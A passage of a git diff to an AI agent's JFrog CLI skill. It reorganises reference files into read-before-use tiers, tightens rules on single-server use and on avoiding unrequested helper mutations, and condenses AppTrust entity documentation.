-on every line). Examples elsewhere in this skill and in `references/*.md` -omit the export for readability — the rule is global. When launching a -subagent, pass `<UA>` in its prompt; subagents do not re-run the script. +on every line). This is a **session-global invariant**: it applies to *every* +`jf` invocation in the session, including `jf` calls you make while following +any workflow skill that builds on this base skill. Examples elsewhere in this +skill and in `references/*.md` omit the export for readability — the rule is +global. When launching a subagent, pass `<UA>` in its prompt (see +[Never invent](#never-invent-jfrog_cli_user_agent)). | Exit | Meaning | |------|---------| @@ -123,6 +207,9 @@ subagent, pass `<UA>` in its prompt; subagents do not re-run the script. | 2 | `jf` not installed — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | | 3 | `jf` below minimum version — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | +Exit 2 or 3 prints no `<UA>` on stdout. Do not invent or hand-assemble one +from this file or from `jf --version`. + Exit 2 or 3 is not a fatal error. Attempt to install or upgrade the CLI (see `references/jfrog-cli-install-upgrade.md`). If installation succeeds, re-run the environment check. If installation is not possible (no permissions, @@ -151,8 +238,8 @@ command output* below. ## Cautious execution -Do not run commands speculatively. Before executing any JFrog CLI command, -MCP tool call, or API call: +**HARD RULES — never skip.** Speculative / preparatory / guessed ops are +forbidden. Before any JFrog CLI command, MCP tool call, or API call: 1. Confirm the operation is needed to fulfill the user's request. If the request is ambiguous or could refer to multiple systems (e.g. @@ -170,7 +257,12 @@ MCP tool call, or API call: repository does not exist, package not at the expected location, build not found), **stop and report the gap to the user**. Do not perform copy, move, upload, create-repo, or any other mutating operation to satisfy the - precondition unless the user explicitly asks for it. These "helper" mutations + precondition. "Put it there so the download succeeds", "make it work", or + "do whatever you need" is still a workaround — not permission to invent + the missing artifact. Only perform that mutation when it **is** the + user's requested work (publish this file, create this repo, move this + artifact), not a helper to make a different operation succeed. These + "helper" mutations can have cascading effects the user has not considered — virtual repository resolution changes, storage quota consumption, replication triggers, Xray re-indexing, or permission propagation. @@ -183,9 +275,15 @@ MCP tool call, or API call: ## Server selection rules (mandatory) -**Single-server invariant.** Every `jf` call MUST pass `--server-id <SID>` -(default resolved below); for one user request, all `jf` calls use **exactly -one** server-id. A wrong answer from the wrong server is worse than a stop-and-ask. +**HARD RULES — never skip or soften.** Wrong-server answers and silent +server-switching are worse than stopping to ask. + +**Single-server invariant.** After `<SID>` is resolved, every subsequent +network-facing `jf` call MUST pass `--server-id <SID>` (default resolved below); +bootstrap `jf --version` / `jf config show` stay exempt until then. For one user +request, all network `jf` calls use **exactly one** server-id — unless the user +names servers to compare (e.g. `compare <a> and <b>`), where each call passes +its own target's `--server-id`. **JFrog MCP and CLI use independent auth.** MCP tools authenticate through the MCP server session (not `jf config`); CLI commands authenticate through @@ -234,303 +332,136 @@ failure, **stop with no further `jf` calls** and respond: > configured server(s): `<list>` — I won't query them without your explicit > instruction. How would you like to proceed? -## When to read reference files - -Load the most specific file for the task at hand. Avoid loading more than 2-3 -reference files for a single operation — start with the most relevant one and -only load additional files if the first doesn't cover the need. File sizes -vary (~25–640 lines); larger files are noted with approximate line counts -below. - -### Cross-domain - -- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file -- **Looking up documentation URLs**: read `references/jfrog-url-references.md` +## Path-gated base references (MUST before `jf api` / advanced CLI) -### Artifactory +These four files **are Tier B of the base skill** — content that used to live +in this SKILL.md. They are **not** optional INDEX domain lookups, and they are +**not** required before every CLI / setup path. -- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` (~220 lines) -- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` (~165 lines) -- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build/<name>/<number>?project=` — see § *Retrieving full build info*) -- **AQL queries**: read `references/artifactory-aql-syntax.md` (~585 lines) -- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` (~220 lines) +**MUST read every one in full before** `jf api`, AQL via `jf api`, advanced +CLI I/O (temp-file / stdout-stderr patterns), or acting on MCP results via +shell/`jq`. Ordinary `jf` (e.g. `jf setup`, `jf rt …` with known flags) needs +**Tier A only** ([At a glance](#at-a-glance-always-read-core)). -### Xray & security +The short [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets are the +session floor — **they do not replace** full +[`references/cli-gotchas.md`](references/cli-gotchas.md) when you enter Tier B. -- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` (~290 lines) -- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) -- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export)**: read `references/xray-entities.md` § Curation audit events +| Tier B — MUST read in full (path-gated) | Covers | +|-----------------------------------------|--------| +| [`references/cli-gotchas.md`](references/cli-gotchas.md) | gotchas, caveats, known issues, do/don't, I/O & auth traps | +| [`references/jf-api.md`](references/jf-api.md) | product-prefix table, flags, examples, GraphQL payload | +| [`references/preserving-command-output.md`](references/preserving-command-output.md) | temp files, `$$` paths, no re-fetch for `jq` | +| [`references/cli-command-discovery.md`](references/cli-command-discovery.md) | namespaces, top-level cmds, Pipelines sunset | -### Release lifecycle & distribution +Skipping any of these **on a Tier B path** = incomplete base-skill load / +hard-rule violation. Skipping them on a Tier A-only path (setup / simple CLI) +is **not** a violation. -- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` (~180 lines) -- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` (~155 lines) - -### Catalog - -- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` (~190 lines) -- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-safety-and-download` skill for pure CVE lookups - -### OneModel (GraphQL) - -- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` (~325 lines) -- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` (~555 lines) -- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` (~280 lines) - -### Platform administration - -- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` -- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` -- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` (~260 lines) -- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` (~180 lines) - -### CLI setup & authentication - -- **Adding a server or logging in**: read `references/jfrog-login-flow.md` (~130 lines) -- **CLI not installed, upgrade needed, or `jq` unavailable**: read `references/jfrog-cli-install-upgrade.md` - -### General patterns +## When to read reference files -- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` (~135 lines) -- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` -- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` -- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` +Prefer reading this SKILL.md in full. [At a glance](#at-a-glance-always-read-core) +is the **Tier A** floor for partial readers. **Path-gated base references** +above are **Tier B** (mandatory on those paths, not every session). Everything +else under [`references/INDEX.md`](references/INDEX.md) is **Tier C** domain +detail — load ≤2–3 most specific files for the task; skip unused domains. +`references/INDEX.md` lists every `references/*.md` file (Tier B + Tier C). +Add/rename/remove a file → update INDEX in the same change — CI +(`tests/jfrog/test_reference_index_contract.py`) fails if they diverge. ## Command discovery -Use the commands listed below as your primary reference. Run `--help` to -verify options you are unsure about or to discover commands not listed here — -do not rely on memorized commands outside this skill, as they may be outdated. - -1. `jf --help` — list all namespaces and top-level commands -2. `jf <namespace> --help` — list subcommands in a namespace -3. `jf <command> --help` — show usage, arguments, and options - -### CLI namespaces +Run `--help` to verify options — do not rely on memorized commands. -| Namespace | Alias | Product | -|-----------|-------|---------| -| `rt` | | Artifactory | -| `xr` | | Xray | -| `ds` | | Distribution V1 | -| `at` | `apptrust` | AppTrust | -| `evd` | | Evidence | -| `mc` | | Mission Control | -| `worker` | | Workers | -| `config` | `c` | CLI server configuration | -| `plugin` | | CLI plugin management | -| `ide` | | IDE integration | +1. `jf --help` → 2. `jf <namespace> --help` → 3. `jf <command> --help` -> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. -> Do not use the `pl` CLI namespace or the Pipelines REST API -> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the -> product has been sunset. - -Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, -`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. - -Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, -`sbom-enrich`. - -Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, -`generate-summary-markdown`, `exchange-oidc-token`, `completion`. +**Tier B — MUST read in full before relying on discovery beyond `--help`:** +[`references/cli-command-discovery.md`](references/cli-command-discovery.md) +(namespaces, top-level lifecycle/security commands, Pipelines sunset). ## Invoking platform APIs with `jf api` -`jf api` is the Tier 3 entry point for JFrog Platform REST and GraphQL -endpoints, auto-authenticated against the resolved server. **Do not use -`jf rt curl` or `jf xr curl`**; they are superseded by `jf api`. - -### Product-prefix table - -`jf api` requires the **full** path including the product prefix; omitting it -returns 404. - -| Product | Path prefix | -|---------|-------------| -| Artifactory | `/artifactory/api/...` | -| Xray | `/xray/api/...` | -| Access (users, groups, tokens, permissions, projects) | `/access/api/...` | -| Evidence | `/evidence/api/...` | -| Release Lifecycle | `/lifecycle/api/...` | -| AppTrust | `/apptrust/api/...` | -| Distribution | `/distribution/api/...` | -| OneModel (GraphQL) | `/onemodel/api/v1/graphql`, `/onemodel/api/v1/supergraph/schema` | -| Mission Control | `/mc/api/...` | -| Curation | `/xray/api/v1/curation/...` (lives under Xray) | - -### Examples - -```bash -jf api /artifactory/api/repositories -jf api --server-id <SID> /artifactory/api/system/version - -# AQL (POST with text/plain body) -jf api /artifactory/api/search/aql \ - -X POST -H "Content-Type: text/plain" -d '<aql-query>' -``` - -Common flags: `-X/--method`, `-H/--header`, `-d/--data`, `--input <file>`, -`--server-id`, `--timeout`. Body on stdout, status on stderr — see -[Gotchas](#gotchas). - -### GraphQL (OneModel) - -OneModel is the unified GraphQL API. **Do not** embed the query inside a JSON -literal (`-d '{"query":"..."}'`) — escaping breaks requests. Build the payload -with `jq -n --arg`, pass it via `--input`, and save the response to a file -before running `jq` on it. - -```bash -QUERY='{ evidence { searchEvidence(first: 5, where: { hasSubjectWith: { repositoryKey: "my-repo-local" } }) { totalCount } } }' -PAYLOAD=/tmp/onemodel-payload-$$.json RESPONSE=/tmp/onemodel-$$.json -jq -n --arg q "$QUERY" '{query:$q}' > "$PAYLOAD" -jf api /onemodel/api/v1/graphql -X POST \ - -H "Content-Type: application/json" --input "$PAYLOAD" > "$RESPONSE" -jq . "$RESPONSE" -``` - -Schema discovery: `jf api /onemodel/api/v1/supergraph/schema > "$SCHEMA_FILE"` -(store only under `~/.jfrog/skills-cache/`, never query responses). Read -`references/onemodel-graphql.md` for the full workflow (schema fetch, -validation, pagination, errors), plus `references/onemodel-query-examples.md` -and `references/onemodel-common-patterns.md` for query shapes, pagination, -variables, and dates. +Tier 3 for Platform REST/GraphQL, auto-authenticated. **Do not use +`jf rt curl` / `jf xr curl`.** Always include the **product prefix** +(`/artifactory`, `/xray`, `/access`, …) — omit → 404. +**Tier B — MUST read in full before `jf api`:** +[`references/jf-api.md`](references/jf-api.md) +(prefixes, flags, examples, OneModel GraphQL payload). Body on stdout / status +on stderr — see [Gotchas](#gotchas--hard-rules-never-skip) + full +`cli-gotchas.md` (Tier B). ## Structured inputs -Several CLI commands require JSON template files. The templates are normally -created by interactive wizard commands (`jf rt rpt`, `jf rt ptt`, `jf rt rplt`) -which agents cannot use. Instead, retrieve an existing config via REST API as a -starting point and modify it: +Interactive wizards (`jf rt rpt` / `ptt` / `rplt`) are unusable for agents. +Fetch an existing config via REST and edit: ```bash jf api /artifactory/api/repositories/<repo-key> ``` -For other Artifactory or platform REST patterns, or when you need more than -this repo GET, see **Any API gap** under [When to read reference files](#when-to-read-reference-files). - -## Gotchas - -### MCP tools - -- MCP tools return structured data in the tool result. Read response fields - directly; do not pipe MCP output through shell commands or `jq`. - -### CLI and `jf api` - -- `jf api` requires the **product prefix** in the path. Omitting it returns - 404. See the [product-prefix table](#product-prefix-table) for the full list. -- `jf api` writes the body (success or error JSON) to **stdout** and - `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits - 1 and adds `[Warn] jf api: <method> <url> returned NNN`. Pipe stdout to - `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep - diagnostics: `jf api <path> 2>/tmp/err-$$.log | jq .`. -- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). - Save bodies with shell redirection - (`jf api ... > /tmp/out-$$.json`); for - binary downloads through the Artifactory remote proxy prefer `jf rt dl`, - which handles the cache and redirect semantics natively. -- Remote repository content is stored in a `-cache` suffixed repo. Properties - and AQL queries for remote repo artifacts must target the cache repo. - Conversely, `/api/repositories/<key>` only accepts the parent remote key - (without `-cache`) — strip the suffix for configuration lookups. -- **Do not use `jf rt search`** — always use a direct AQL query via - `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d '<aql>'`. - See `references/artifactory-aql-syntax.md`. -- Use `--quiet` flag for non-interactive execution (suppresses confirmation - prompts). **Caution:** `--quiet` is not a global flag — commands that do not - support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors - like "Wrong number of arguments" or "flag provided but not defined". Check - `--help` for a command before adding `--quiet`. -- Use `--server-id` when targeting a non-default server. If a command fails - with `--server-id`, do not retry without it — that silently targets the - default server instead. See [Server selection rules](#server-selection-rules-mandatory). -- Never use interactive commands. All JFrog CLI operations must be performed - non-interactively. Known interactive commands to avoid: `jf config add`, - `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and - `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. - For templates, use JSON schemas or REST API. If a command prompts for input - unexpectedly, find the non-interactive alternative via `--help` or REST API. -- `jf config export` output is base64-encoded JSON. Decode with - `base64 -d | jq` to extract fields. -- Build info lookups require a scope (`?buildRepo=` or `?project=`) — - resolve it before calling the API. See `references/artifactory-operations.md` - §Retrieving build info for the full workflow. -- If a `jf api` call returns 401, the configured token may have expired or - been rotated — ask the user to re-run the login flow (see - `references/jfrog-login-flow.md`) for the **same** server. If 403, the - token lacks required permissions. If 404, verify the endpoint path - (especially the product prefix) and target server version. On any of - these errors, do not try a different configured server as a workaround — - that targets a different environment. Report the error and ask the user. -- **Xray contextual analysis:** the summary artifact response has two - applicability fields — `applicability` (top-level, often null) and - `applicability_details` (always present with a `result` string). **Use - `applicability_details[].result` for counts and summaries.** Using the - top-level `applicability` field for aggregation produces wrong counts because - it is null when no scanner exists. See `references/xray-entities.md` - §Contextual analysis for the eight possible result values and jq snippets. -- **OneModel GraphQL:** always fetch the supergraph schema from the **same** - server you query before building operations (schemas differ by deployment); - cache, validate, and execute per `references/onemodel-graphql.md`. -- Never duplicate a network-fetching command to retry `jq` parsing — save the - response to a temp file first (see [Preserving command output](#preserving-command-output)). -- When collecting detail responses in a loop (e.g. per-repo GETs), validate - each body with `jq -e .` before appending to a results file. One non-JSON - or empty response corrupts a downstream `jq -s` slurp. Write validated - lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final - array. See `references/general-bulk-operations-and-agent-patterns.md`. -- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` - — read when debugging odd failures; **append** a short entry when you confirm - a new, reusable gotcha. - +More REST/template patterns → `references/artifactory-api-gaps.md` or +`references/platform-admin-api-gaps.md` via [`references/INDEX.md`](references/INDEX.md). + +## Gotchas — hard rules (never skip) + +**Not tips.** Tier A bullets below are the always-read floor. Full +[`references/cli-gotchas.md`](references/cli-gotchas.md) is **Tier B** — +**MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell; **not** +required before every CLI or `jf setup`. Short bullets do **not** replace the +full file on Tier B paths. + +**Tier A floor (every non-exempt `jf` session):** + +- **`--quiet`** is not global — check `--help` before adding it +- **`--server-id`:** if a call fails with it, do not retry without it (silent + default-server switch). See [Server selection rules](#server-selection-rules-mandatory) +- **Non-interactive only** — avoid `jf config add`, `jf login`, `*template` + wizards; use `references/jfrog-login-flow.md` / REST +- **Auth errors:** 401 → re-login **same** server; 403 → permissions; 404 → + path/prefix/version. Never switch configured servers as a workaround + +**Tier B reminders (load full `cli-gotchas.md` + sibling Tier B refs before +these paths):** + +- **MCP:** read structured tool results directly — do not pipe through shell/`jq` +- **`jf api` I/O:** body → stdout, status → stderr; pipe stdout to `jq`; + **never `2>&1 | jq`**. No `-L` / `-o` — redirect: `jf api … > /tmp/out-$$.json` +- **Product prefix** required on every `jf api` path (see Tier B `jf-api.md`) +- **Never re-fetch to retry `jq`** — save output first + ([Preserving command output](#preserving-command-output) + Tier B + `preserving-command-output.md`) ## Batch and parallel execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers: (1) batch commands in a single -Shell call using loops or `&`, (2) issue parallel Shell tool calls, (3) launch -parallel subagents for large fan-out. Read `references/general-parallel-execution.md` -(~135 lines) for tier selection, examples, and subagent prompt structuring. +Independent ops → lightest parallelism: (1) loops/`&` in one Shell, (2) parallel +Shell calls, (3) subagents for large fan-out. Details → +`references/general-parallel-execution.md`. ## Preserving command output -When a CLI command or API call returns data, redirect the output to a temporary -file so you can re-read it without re-executing the call: - -```bash -OUT=/tmp/jf-repos-$$.json -jf api /artifactory/api/repositories > "$OUT" -echo "$OUT" -``` - -Use `$$` (the shell PID) in the filename to prevent collisions across -concurrent sessions or processes. - -**Cross-call gotcha:** each Shell tool invocation runs in a new process with a -different PID, so `$$` expands to a different value in each call. Always -**echo the expanded filename** so the agent can read it from the output and -reuse the literal path in subsequent calls. Three patterns, in priority order: - -1. **`$$` + echo** (preferred): use `$$` for collision safety, echo the path - as shown above. The agent reads `/tmp/jf-repos-12345.json` from the output - and passes that literal value to the next Shell call. -2. **Session ID**: when many files share a prefix across calls, generate an ID - once (`SID=$(date +%s)-$$`), echo it, and reuse in later calls. -3. **Hardcoded names**: last resort — risks collisions when parallel calls or - subagents write to the same path. - -This protects against wasted round-trips when you need to retry parsing — for -example, if a `jq` filter fails or you extract the wrong field on the first -attempt. Re-read the file instead of hitting the server again. - -Do **not** duplicate the same **network** request in a shell pipeline (e.g. with -`||`) only to re-run `jq` or to reveal jq diagnostics—the duplicate call -adds load on JFrog without fetching new data. Run -`jq '<filter>' /tmp/jf-*-$$.json` (or redirect stdin from the file) instead -of re-running the same `jf api` or other identical network-backed command. - -Do **not** reuse saved output across unrelated steps or changed contexts (different -server, user, or intent). The file is only valid for the immediate sequence of -operations that motivated the original call. +Save network responses to a temp file; echo the path; re-read for `jq` — never +re-run the same network call to fix parsing. + +**Tier B — MUST read in full before advanced I/O / re-parse patterns:** +[`references/preserving-command-output.md`](references/preserving-command-output.md) +(`$$` + echo, session id, no re-fetch / no cross-context reuse). + +## Before you run `jf` — quick checklist + +[At a glance](#at-a-glance-always-read-core) **Tier A** floor; add **Tier B** +only when the next action needs `jf api` / advanced CLI: + +- [ ] `export JFROG_CLI_USER_AGENT='<UA>'` in this bash — `<UA>` is the exact + stdout line from `check-environment.sh` exit 0/1 (never invent / rebuild) +- [ ] network `jf`: `--server-id <SID>` after subcommand (not `jf --version` / + `jf config show` pre-SID) +- [ ] one server; error → stop, don't switch (multi only if user names / + `compare`) +- [ ] no prep create/copy/move/upload to fill a gap (workaround ask ≠ permission) +- [ ] never guess tools/paths → list / `--help` / `references/`; 404 → stop; + `jf api` product prefix (`/artifactory`, `/xray`, …) +- [ ] **Tier A** hard rules: Cautious execution + Server selection + Gotchas + Tier A floor (interactive / `--server-id` retry / stop-on-error / + `--quiet`) +- [ ] **Tier B** (only if next action is `jf api` / AQL / advanced CLI I/O): + full `cli-gotchas.md`, `jf-api.md`, `preserving-command-output.md`, + `cli-command-discovery.md` diff --git a/skills/jfrog/references/INDEX.md b/skills/jfrog/references/INDEX.md new file mode 100644 index 0000000..c005c53 --- /dev/null +++ b/skills/jfrog/references/INDEX.md @@ -0,0 +1,83 @@ +# Reference index — when to read which file + +**Tier A** = `SKILL.md` At-a-glance floor (before first non-exempt `jf`). +**Tier B** = four files below — **MUST** before `jf api` / AQL / advanced CLI +I/O / MCP-via-shell; **not** before every CLI or `jf setup`. +**Tier C** = domain entries — ≤2–3 most specific; skip unused. Login / CLI +install when needed. + +Paths relative to skill root. List **every** `references/` file (except this +one). CI: `tests/jfrog/test_reference_index_contract.py`. + +--- + +## Tier B — path-gated (MUST before `jf api` / advanced CLI) + +Ordinary CLI / `jf setup` → Tier A only. Skipping any below on a Tier B path = +hard-rule violation. + +- **Gotchas / caveats / do-don'ts**: **MUST** `references/cli-gotchas.md` on Tier B — not replaceable by SKILL.md Tier A floor +- **`jf api` prefixes / flags / GraphQL**: **MUST** `references/jf-api.md` before `jf api` +- **Temp files / `$$` / no re-fetch**: **MUST** `references/preserving-command-output.md` before advanced I/O +- **Namespaces / top-level cmds / Pipelines sunset**: **MUST** `references/cli-command-discovery.md` when discovery beyond `--help` + +Tier C (when needed — not Tier B): + +- **Login / add server**: `references/jfrog-login-flow.md` +- **CLI install / upgrade / `jq` missing**: `references/jfrog-cli-install-upgrade.md` + +--- + +## Domain / on-demand (INDEX navigation) + +Load the most specific file for the task. Avoid more than 2–3 reference files +for one operation. + +## Cross-domain + +- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file +- **Looking up documentation URLs**: read `references/jfrog-url-references.md` + +## Artifactory + +- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` +- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` +- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build/<name>/<number>?project=` — see § *Retrieving full build info*) +- **AQL queries**: read `references/artifactory-aql-syntax.md` +- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` + +## Xray & security + +- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` +- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) +- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export)**: read `references/xray-entities.md` § Curation audit events + +## Release lifecycle & distribution + +- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` +- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` + +## Catalog + +- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` +- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-safety-and-download` skill for pure CVE lookups + +## OneModel (GraphQL) + +- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` +- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` +- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` + +## Platform administration + +- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` +- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` +- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` +- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` + +## General patterns + +- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` +- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` +- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` +- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` diff --git a/skills/jfrog/references/apptrust-entities.md b/skills/jfrog/references/apptrust-entities.md index 6ca5088..d1e014f 100644 --- a/skills/jfrog/references/apptrust-entities.md +++ b/skills/jfrog/references/apptrust-entities.md @@ -4,14 +4,13 @@ When to read this file: - Working with **applications**, **application versions**, or **releasables**. - Querying or managing **application version promotions** through stages. -- Understanding what **sources** (builds, release bundles, other app versions) feed into an application version. -- Using the OneModel GraphQL API with the `applications` query root. +- Understanding **sources** (builds, release bundles, other app versions) feeding an application version. +- OneModel GraphQL with `applications` query root. -AppTrust entities are accessed exclusively via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). There are no CLI commands for this domain. +AppTrust via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). No CLI. -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel workflow (credentials, schema fetch, validation, execution): +`references/onemodel-graphql.md`. ## Entity relationship overview @@ -31,28 +30,26 @@ erDiagram ## Application -The top-level entity representing a software application registered in -AppTrust. Applications belong to a JFrog Project and serve as the -organizational container for tracking versions, ownership, and criticality. +Top-level software application in AppTrust. Belongs to a JFrog Project; +container for versions, ownership, criticality. | Field | Description | |-------|-------------| -| `key` | Unique identifier (referenced as `applicationKey` or `appKey` elsewhere) | -| `projectKey` | JFrog Project this application belongs to | +| `key` | Unique ID (`applicationKey` / `appKey` elsewhere) | +| `projectKey` | JFrog Project | | `displayName` | Human-readable name | | `criticality` | `unspecified`, `low`, `medium`, `high`, `critical` | | `maturityLevel` | `unspecified`, `experimental`, `production`, `end_of_life` | -| `owners` | List of users or groups that own the application | -| `labels` | Key-value pairs for custom categorization | +| `owners` | Owning users/groups | +| `labels` | Key-value categorization | Query: `applications.getApplication(key: "...")` or `applications.searchApplications(where: {...})`. ## Application version -A versioned instance of an application. Each version captures a specific set -of releasable artifacts, their sources, and a promotion history through -lifecycle stages. +Versioned instance of an application — releasable artifacts, sources, promotion +history through lifecycle stages. | Field | Description | |-------|-------------| @@ -61,20 +58,18 @@ lifecycle stages. | `tag` | Optional tag | | `status` | Processing status: `STARTED`, `FAILED`, `COMPLETED`, `DELETING` | | `releaseStatus` | Release maturity: `PRE_RELEASE`, `RELEASED`, `TRUSTED_RELEASE` | -| `currentStageName` | Most recent stage the version has been promoted to (null if never promoted) | +| `currentStageName` | Latest promoted stage (null if never promoted) | | `createdBy`, `createdAt` | Audit fields | | `evidenceSubject` | Evidence attestation anchor (shared across domains) | -The `releaseStatus` field is distinct from `status`: `status` tracks the -version creation process, while `releaseStatus` tracks its release maturity. +`releaseStatus` ≠ `status`: `status` = creation process; `releaseStatus` = release maturity. Query: `applications.getApplicationVersion(applicationKey: "...", version: "...")` or `applications.searchApplicationVersions(where: {...})`. ## Releasable -A deployable unit within an application version — either a **package version** -or an individual **artifact**. +Deployable unit within an application version — **package version** or individual **artifact**. | Field | Description | |-------|-------------| @@ -89,14 +84,12 @@ or an individual **artifact**. | `packageVersionLocation` | Link to `StoredPackageVersionLocation` for package releasables | | `vcsCommit` | VCS commit details (for AppTrust-bound package versions) | -Releasables bridge the application model to the underlying Artifactory -storage. The `packageVersionLocation` field connects to the Stored Packages -domain (see `stored-packages-entities.md`). +Releasables bridge application model to Artifactory storage. `packageVersionLocation` +→ Stored Packages domain (`stored-packages-entities.md`). ## Application version promotion -Records the promotion of an application version from one stage to another. -All promotions are recorded including failed attempts. +Promotion of application version between stages. All attempts recorded including failures. | Field | Description | |-------|-------------| @@ -107,13 +100,12 @@ All promotions are recorded including failed attempts. | `artifacts` | Artifacts included in this promotion (repo + path) | | `messages` | Error messages if the promotion failed | -Promotions use the same environment/stage model as Release Bundle promotions -(see `release-lifecycle-entities.md`) but at the application level. +Same environment/stage model as Release Bundle promotions +(`release-lifecycle-entities.md`), at application level. ## Sources -Sources describe how releasables were assembled into an application version. -Four types exist: +How releasables were assembled into an application version. Four types: | Source type | Fields | Description | |-------------|--------|-------------| @@ -122,8 +114,7 @@ Four types exist: | **ApplicationVersion** | `applicationKey`, `version` | Another application version (composition) | | **Direct** | (none) | Directly included without an associated build or bundle | -Sources appear at both the application version level (all sources) and the -individual releasable level (sources for that specific releasable). +At application version level (all sources) and releasable level (per-releasable sources). ## Artifacts (within application versions) @@ -139,16 +130,12 @@ Individual files within releasables. ## Cross-domain connections -AppTrust entities connect to other domains via the OneModel GraphQL API: +Via OneModel GraphQL: - **Evidence** — `ApplicationVersion.evidenceSubject` and - 